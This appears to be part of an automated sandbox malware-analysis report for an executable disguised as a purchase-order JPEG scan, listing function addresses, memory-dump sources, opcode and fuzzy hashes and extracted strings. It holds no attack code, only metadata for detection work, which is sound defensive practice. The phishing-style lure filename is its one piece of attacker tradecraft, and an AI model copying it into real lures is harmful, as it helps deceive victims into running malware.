Opcode Fuzzy Hash: 438de1b2423d0db34da19905ed93e6fc7787cda23fb842cbc845a923730b1f01
Instruction Fuzzy Hash: 2ED0A7323100301BC2A0945C7C587AE21AAC7C92A0B54003EFD02D7380DD909E0623D8

Function 0573EF10 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67953f9b2db748affb3cd3868e5f2dea995b6ace08411daeff57a498ca06cb9f
Instruction ID: 8852a79040f66bf972c2d3a2e8759c2cb20968e8e0d33fcfb39262b18856ffe7
Opcode Fuzzy Hash: 67953f9b2db748affb3cd3868e5f2dea995b6ace08411daeff57a498ca06cb9f
Instruction Fuzzy Hash: A7D0A7B50954465BD3460260AE5B3B52E65E3013D5F080079D89585143D511C0067746

Function 0573EF20 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8558e102da5d3ff87ac18fefedf237f9eb3b93a48ef2f46e4504e6cb67add23
Instruction ID: 5380fdd250a5b9ff8beac9d953f770d9f86c541d2e60703719f7abed58912c82
Opcode Fuzzy Hash: a8558e102da5d3ff87ac18fefedf237f9eb3b93a48ef2f46e4504e6cb67add23
Instruction Fuzzy Hash: FDD012702A520B87DB5856A5B456B76379DAF40725F080069FC0FC5506EBA3E841AA12

Non-executed Functions

Function 0C1C6658 Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5413a3628a51aeb7a28f56165602fb431afa0431b8d0b58a23e7ffcddaac1294
Instruction ID: 65298ead14e305204bcbc1086b92ffe2069369d6a6c1cd1736721740abbad818
Opcode Fuzzy Hash: 5413a3628a51aeb7a28f56165602fb431afa0431b8d0b58a23e7ffcddaac1294
Instruction Fuzzy Hash: 7F22F674F012198FCB14CF99C5C4AAEBBF2EF58304F248169E415AB356D735A982CFA1

Function 056832E0 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735562879.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5680000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 834edb8e8dae5e18c91640b9a3e457a8464a4c390992845a8be3c2c30f3bf44e
Instruction ID: 014181f547d18d949ed9e05113fc7a8a3ecdc75c097e3a796fd488f3275bc449
Opcode Fuzzy Hash: 834edb8e8dae5e18c91640b9a3e457a8464a4c390992845a8be3c2c30f3bf44e
Instruction Fuzzy Hash: DF126FB04017468AE730CF65F94C2897BB1BB85328B948709D2A56F6F9DBB8158BCF44

Function 0C1C4C80 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63e8861ec3f529d7d57b15c100d592dbd5d1cd0fff5e987541311d09ad16c01
Instruction ID: f5c4079c1ac9f98c5ef4e0b36a40e5dc2aacfbe3315c0d58ae906c5af19b1264
Opcode Fuzzy Hash: b63e8861ec3f529d7d57b15c100d592dbd5d1cd0fff5e987541311d09ad16c01
Instruction Fuzzy Hash: 40E11474E051198FCB14DFA9D5909AEBBB2FF88304F24C169E415AB316DB34A981CFA0

Function 0C1C4848 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e53472d269a6c510d2e6e88cbc988335591914d4be49ebf1e711326095c985c3
Instruction ID: c450e1f0666d2634104714e09b01828f361f1bf8c81dd77a563ba90d99c5c048
Opcode Fuzzy Hash: e53472d269a6c510d2e6e88cbc988335591914d4be49ebf1e711326095c985c3
Instruction Fuzzy Hash: E5E10574E051198FCB14DFA9D590AAEFBB2FF88304F24C169E415AB356D730A981CFA4

Function 0C1C50B8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50d58e6ad48977ae9245a1e6d29937ead2387e9c30925d759321582d86d307dd
Instruction ID: 35df7293e17f0473732aac4c328629186c3b716aad91bccf43f64973919f17cf
Opcode Fuzzy Hash: 50d58e6ad48977ae9245a1e6d29937ead2387e9c30925d759321582d86d307dd
Instruction Fuzzy Hash: 55E11574E012198FCB14DFA9C5809AEBBF2FF88304F248169E415AB316D734A981DFA0

Function 056808D4 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735562879.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5680000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8775c15bb1242488c3a4f3acce23a4bd68f24a9d33d6d3e75e897e47ac54b4f
Instruction ID: 1488b338a546d7cf5796226db4d26d3c0adc7f8b8a976673729abb576e2f774b
Opcode Fuzzy Hash: c8775c15bb1242488c3a4f3acce23a4bd68f24a9d33d6d3e75e897e47ac54b4f
Instruction Fuzzy Hash: 8CA17136E002058FCF15EFB5C8545AEB7B2FF84310B15866AE816AB325DB71E955CF80

Function 05683287 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735562879.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5680000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccdff909f48e45d4b5d3e3555e592baa1a840c1b8f470e1f90dec3b989e12f2d
Instruction ID: 19d716d153917912b49bef5628789325e8bf6558a41098d525fcd2dc370c3eed
Opcode Fuzzy Hash: ccdff909f48e45d4b5d3e3555e592baa1a840c1b8f470e1f90dec3b989e12f2d
Instruction Fuzzy Hash: 70C1E4B09007468BE720CF69E84C1897BB1FB85328F648709D1616F2F9DBB8558BCF84

Function 056832D0 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735562879.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5680000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bc5782a9c275ceb40c79de548acb58179ee5e362fff415cc1bdd1ac490e56cf
Instruction ID: a8cf846720106dbdbcc27a889a5eef5dfcfcef1a842cf5b990412a44d234d9aa
Opcode Fuzzy Hash: 4bc5782a9c275ceb40c79de548acb58179ee5e362fff415cc1bdd1ac490e56cf
Instruction Fuzzy Hash: 97C1D5B18117468BE720CF69E84C2897BB1FB85328F658319D1616F2F9DBB8158BCF44

Function 0C1C68A7 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e25979edc01e6edd61622334797243e661174196d9712c8588f2ae9115906da
Instruction ID: 1a897575307fa3fc6690daffe3f5ad7bf913d5f625a7eb5210ba514e4bab8581
Opcode Fuzzy Hash: 5e25979edc01e6edd61622334797243e661174196d9712c8588f2ae9115906da
Instruction Fuzzy Hash: 8951F674E052198FDB14CFAAD5805AEBBF2AF89304F24C169E418AB316D734A941CFA1

Function 0C1C50A8 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3cecfbc7ef7150f01128815d8984192af1a019081d298f24a2ceac101621afb
Instruction ID: 6d2c635cdb31ec44b45f0c92f8e8a8067768160f0a5c4c00ec152fa428d23f1c
Opcode Fuzzy Hash: e3cecfbc7ef7150f01128815d8984192af1a019081d298f24a2ceac101621afb
Instruction Fuzzy Hash: 4C51FB70E012198FCB14DFA9D5845AEFBF2FF89304F24C169E419A7216D734A941CFA1

Function 0C1C68B8 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bbfdfdda0fc3d8cba7dba9d50dd2105e9c6d850d4247802a608ced722864e37
Instruction ID: b8e22a5ff88793e51eae76e56f38dde6c32b567b5555a497aedb77a44732a15a
Opcode Fuzzy Hash: 9bbfdfdda0fc3d8cba7dba9d50dd2105e9c6d850d4247802a608ced722864e37
Instruction Fuzzy Hash: 4D51D674E012198FDB14CFAAD5805AEBBF2AF89304F24C169E418A7316D735A941CFA1

Function 05734748 Relevance: 41.7, Strings: 33, Instructions: 438COMMON

Download Yara Rule

Strings

4'^q, xrefs: 05734AEF
4'^q, xrefs: 05734BF7
4'^q, xrefs: 05734BCB
4'^q, xrefs: 057348D9
4'^q, xrefs: 05734CA7
4'^q, xrefs: 057348B6
4'^q, xrefs: 057349AB
4'^q, xrefs: 05734AA0
4'^q, xrefs: 057349F1
4'^q, xrefs: 0573491F
4'^q, xrefs: 05734B1B
4'^q, xrefs: 05734B73
4'^q, xrefs: 05734A5A
4'^q, xrefs: 05734B47
4'^q, xrefs: 057349CE
4'^q, xrefs: 0573482A
4'^q, xrefs: 05734CD3
4'^q, xrefs: 05734870
4'^q, xrefs: 057348FC
4'^q, xrefs: 05734965
4'^q, xrefs: 05734942
4'^q, xrefs: 0573484D
4'^q, xrefs: 05734988
4'^q, xrefs: 05734893
4'^q, xrefs: 05734C7B
4'^q, xrefs: 05734A37
4'^q, xrefs: 05734C23
4'^q, xrefs: 05734AC3
4'^q, xrefs: 05734A14
4'^q, xrefs: 05734B9F
4'^q, xrefs: 05734C4F
4'^q, xrefs: 05734CFF
4'^q, xrefs: 05734A7D

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q
API String ID: 0-2697097662
Opcode ID: 5b1c5e09f713171a393af86cb18c3c3707e887f346c8b2a341c49ffba359c974
Instruction ID: ae0bcbe709b49834facee504a237f6a1212ed0d058d81558e4ab85d5dfb56503
Opcode Fuzzy Hash: 5b1c5e09f713171a393af86cb18c3c3707e887f346c8b2a341c49ffba359c974
Instruction Fuzzy Hash: 78123F70E0121A9FCB18EF75E89169DB7B2FF40304F5085A9D009AB269EF346D89CF91

Function 05734758 Relevance: 41.7, Strings: 33, Instructions: 434COMMON

Download Yara Rule

Strings

4'^q, xrefs: 05734AEF
4'^q, xrefs: 05734BF7
4'^q, xrefs: 05734BCB
4'^q, xrefs: 057348D9
4'^q, xrefs: 05734CA7
4'^q, xrefs: 057348B6
4'^q, xrefs: 057349AB
4'^q, xrefs: 05734AA0
4'^q, xrefs: 057349F1
4'^q, xrefs: 0573491F
4'^q, xrefs: 05734B1B
4'^q, xrefs: 05734B73
4'^q, xrefs: 05734A5A
4'^q, xrefs: 05734B47
4'^q, xrefs: 057349CE
4'^q, xrefs: 0573482A
4'^q, xrefs: 05734CD3
4'^q, xrefs: 05734870
4'^q, xrefs: 057348FC
4'^q, xrefs: 05734965
4'^q, xrefs: 05734942
4'^q, xrefs: 0573484D
4'^q, xrefs: 05734988
4'^q, xrefs: 05734893
4'^q, xrefs: 05734C7B
4'^q, xrefs: 05734A37
4'^q, xrefs: 05734C23
4'^q, xrefs: 05734AC3
4'^q, xrefs: 05734A14
4'^q, xrefs: 05734B9F
4'^q, xrefs: 05734C4F
4'^q, xrefs: 05734CFF
4'^q, xrefs: 05734A7D

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q
API String ID: 0-2697097662
Opcode ID: 3ce96b5fcb726b5adc52df689bde18aa0f1db479569456e816197589ead0a951
Instruction ID: cbc033e6430d74e63db3cb082f157aed17376aeb5c7a5a886933d5ab47e14560
Opcode Fuzzy Hash: 3ce96b5fcb726b5adc52df689bde18aa0f1db479569456e816197589ead0a951
Instruction Fuzzy Hash: 3E123F70A0121A9FCB18EF75E99169DB7B2FF40304F5085A9D009AB279EF346D89CF91

Analysis Process: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exePID: 1260, Parent PID: 5824COMMON

Execution Graph

Execution Coverage:	17.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	14.9%
Total number of Nodes:	47
Total number of Limit Nodes:	13

Executed Functions

Function 01227118 Relevance: 6.7, Strings: 5, Instructions: 414
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 0122753D
(o^q, xrefs: 01227212
(o^q, xrefs: 01227220
,bq, xrefs: 01227298
,bq, xrefs: 0122728A

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2525668591
Opcode ID: fed15881c87bf22ae4f4e0655a822b725b9b24ad12e689409ed94f5e6787049d
Instruction ID: c5d9d004dd1ee40dc0dd3c1e45af878e7566346be764e53b850bfa677fb07afa
Opcode Fuzzy Hash: fed15881c87bf22ae4f4e0655a822b725b9b24ad12e689409ed94f5e6787049d
Instruction Fuzzy Hash: 78F15B30A24229EFDB15CFA9D885AADBFB6FF59310F258069E905AB261D730D841CB50

Function 0122C146 Relevance: 6.5, Strings: 5, Instructions: 225
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 0122C38D
PH^q, xrefs: 0122C400
0oAp, xrefs: 0122C20A
LjAp, xrefs: 0122C377
PH^q, xrefs: 0122C3EF

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 1c1150b7a4935084c2a576d23582e83ca52fec15e7a0ac70ef10871a8fde6ed3
Instruction ID: 9cfdec8271134270272768043f9ead073c8e28d456a9f04dbb11d133eb0f4a4e
Opcode Fuzzy Hash: 1c1150b7a4935084c2a576d23582e83ca52fec15e7a0ac70ef10871a8fde6ed3
Instruction Fuzzy Hash: 4EA1F675E10218DFDB18DFAAD884A9DBBF2BF89300F148069E518EB365DB709981CF50

Function 0122D278 Relevance: 6.4, Strings: 5, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0122D4CF
0oAp, xrefs: 0122D2EA
LjAp, xrefs: 0122D46D
PH^q, xrefs: 0122D4E0
LjAp, xrefs: 0122D457

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 4a391e99b2c7fb608074a0dd5ac002d43266432502fcd188376d216a40d6f6c0
Instruction ID: a6b84e7cbf410f9a7e6c5c80ab104f6a61e493d2d69925b82e15a7b1adc83579
Opcode Fuzzy Hash: 4a391e99b2c7fb608074a0dd5ac002d43266432502fcd188376d216a40d6f6c0
Instruction Fuzzy Hash: DE81C574E11218DFDB14DFAAD884A9DBBF2FF49310F148069E518AB365DB74A981CF10

Function 0122CCD8 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0122CF2F
LjAp, xrefs: 0122CECD
0oAp, xrefs: 0122CD4A
LjAp, xrefs: 0122CEB7
PH^q, xrefs: 0122CF40

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 3d1d38b9b7f70ce149da0d0a9311058f1c99de6ed077f2eed7fb7e0cc22ea862
Instruction ID: fd0e94831e26dd0134514420c1b6ede20e3460d7f34c02c4966575e947bdcc5d
Opcode Fuzzy Hash: 3d1d38b9b7f70ce149da0d0a9311058f1c99de6ed077f2eed7fb7e0cc22ea862
Instruction Fuzzy Hash: 1981C274E10218DFDB18DFAAD984A9DBBF2BF88300F14C069E419AB365DB749981CF50

Function 01225370 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oAp, xrefs: 012253E2
PH^q, xrefs: 012255D9
PH^q, xrefs: 012255C8
LjAp, xrefs: 01225550
LjAp, xrefs: 01225566

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 383ff4641e74fef9fab4ea0c246a813d99a8c4d50745f73bd3fe949b0b852342
Instruction ID: 0044423c555a85e866b9619409617008dd952e50106285ed4bb9d5b596f4eaa4
Opcode Fuzzy Hash: 383ff4641e74fef9fab4ea0c246a813d99a8c4d50745f73bd3fe949b0b852342
Instruction Fuzzy Hash: A081A474E10218DFDB18DFAAD984A9DBBF2BF88300F14C069E419AB365DB749985CF50

Function 0122C468 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0122C6BF
LjAp, xrefs: 0122C65D
0oAp, xrefs: 0122C4DA
PH^q, xrefs: 0122C6D0
LjAp, xrefs: 0122C647

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 06d1ec13275f94e60db054f534712c415878470c8347103bdcba2df19f3bae01
Instruction ID: d027c7c7cb6c30d47b4e72fb9a188855a046d11a177886fbf67e83e687395094
Opcode Fuzzy Hash: 06d1ec13275f94e60db054f534712c415878470c8347103bdcba2df19f3bae01
Instruction Fuzzy Hash: 0D81D674E10219DFDB18DFAAD984A9DBBF2BF88300F14D069E418AB365DB749981CF50

Function 0122CA08 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oAp, xrefs: 0122CA7A
PH^q, xrefs: 0122CC70
PH^q, xrefs: 0122CC5F
LjAp, xrefs: 0122CBFD
LjAp, xrefs: 0122CBE7

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: fb2a6dbec04b2616240609fafd816fe0d06d254000897003110df0333512923c
Instruction ID: 543df177d560a10cb68945af4bb4ac72d6612cbca6e451652377d0365159e1ba
Opcode Fuzzy Hash: fb2a6dbec04b2616240609fafd816fe0d06d254000897003110df0333512923c
Instruction Fuzzy Hash: 8D81C374E10218DFDB18DFAAD884A9DBBF2BF88300F14C069E418AB365DB749981CF50

Function 0122C738 Relevance: 6.4, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0122C9A0
LjAp, xrefs: 0122C92D
PH^q, xrefs: 0122C98F
0oAp, xrefs: 0122C7AA
LjAp, xrefs: 0122C917

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: f65bdfda61ce6b2da1799f8b2fc5a344f16a642cfce3bb7c05f4851638638193
Instruction ID: 6975aae458567d415cdc6be23dc2824dfaad9641f12f113c0b3b1f370d8f09ed
Opcode Fuzzy Hash: f65bdfda61ce6b2da1799f8b2fc5a344f16a642cfce3bb7c05f4851638638193
Instruction Fuzzy Hash: 7781D374E10218DFDB18DFAAD984A9DBBF2BF88310F14C069E418AB365DB749981CF51

Function 0122CFAA Relevance: 6.4, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 0122D187
PH^q, xrefs: 0122D1FF
LjAp, xrefs: 0122D19D
0oAp, xrefs: 0122D01A
PH^q, xrefs: 0122D210

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: dcf12d28709d3ad99011a307b39622dee0bc8049a880aa3393cbf40be6f6c30b
Instruction ID: 79532250f7a1841a980db7b93cc83634164e45ae3ae29289980457dc97f90df4
Opcode Fuzzy Hash: dcf12d28709d3ad99011a307b39622dee0bc8049a880aa3393cbf40be6f6c30b
Instruction Fuzzy Hash: 9481C974E10218DFDB18DFAAD984A9DBBF2BF88310F14C069E419AB365DB749981CF10

Function 012229EC Relevance: 5.5, Strings: 4, Instructions: 490
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xbq, xrefs: 01222AD8
Xbq, xrefs: 01222BA4
Xbq, xrefs: 01222A9E
Xbq, xrefs: 01222B57

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: d8852315a067798ef15f6fe65c8dd647be73a1b60ded5c07cf9cd64690827275
Instruction ID: c4be666ff2d77ca48dd191b7f5fc0b5ded13c4377ae7c1da277114c885e0f502
Opcode Fuzzy Hash: d8852315a067798ef15f6fe65c8dd647be73a1b60ded5c07cf9cd64690827275
Instruction Fuzzy Hash: CF0224729287D19FC7638F38C4662AABF70EF4B214B184DDDC4C15E112E23A5892CB86

Function 06919328 Relevance: 3.5, APIs: 2, Instructions: 530
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 069195E0

Memory Dump Source

Source File: 00000006.00000002.4147168772.0000000006910000.00000040.00000800.00020000.00000000.sdmp, Offset: 06910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6910000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f41c237645b9a1ecf15303ec56cd29e0854c3b7a6c88fc01992b09c363be0169
Instruction ID: df72469d458439a752421da929ffda15f1332c9c82dbeafb19bb49c2615b3e1d
Opcode Fuzzy Hash: f41c237645b9a1ecf15303ec56cd29e0854c3b7a6c88fc01992b09c363be0169
Instruction Fuzzy Hash: 17224D70E00219CFDB54DFA9C994B9DBBB2BF88300F2485A9E419AB395DB349D85CF50

Function 0122A088 Relevance: 3.4, Strings: 2, Instructions: 892COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0122AB13
(o^q, xrefs: 0122A518

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: (o^q$4'^q
API String ID: 0-273632683
Opcode ID: 31ea426e14f23154315e0fd44ff28c1ba43547ae959c4afc85b2dd18b4d3ce40
Instruction ID: d46597cd43f8b0d19ca652397ae21c91d8eac5e24060dac8f32fe9c092174fae
Opcode Fuzzy Hash: 31ea426e14f23154315e0fd44ff28c1ba43547ae959c4afc85b2dd18b4d3ce40
Instruction Fuzzy Hash: C9828E71A1021AEFCB15CFA8C984AAEBBF2FF88310F158955E5059BB62D770ED41CB50

Function 012269A0 Relevance: 3.0, Strings: 2, Instructions: 510COMMON

Download Yara Rule

Strings

Hbq, xrefs: 01226DA6
(o^q, xrefs: 01226EDA

Memory Dump Source

Source File: 00000006.00000002.4131286835.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1220000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
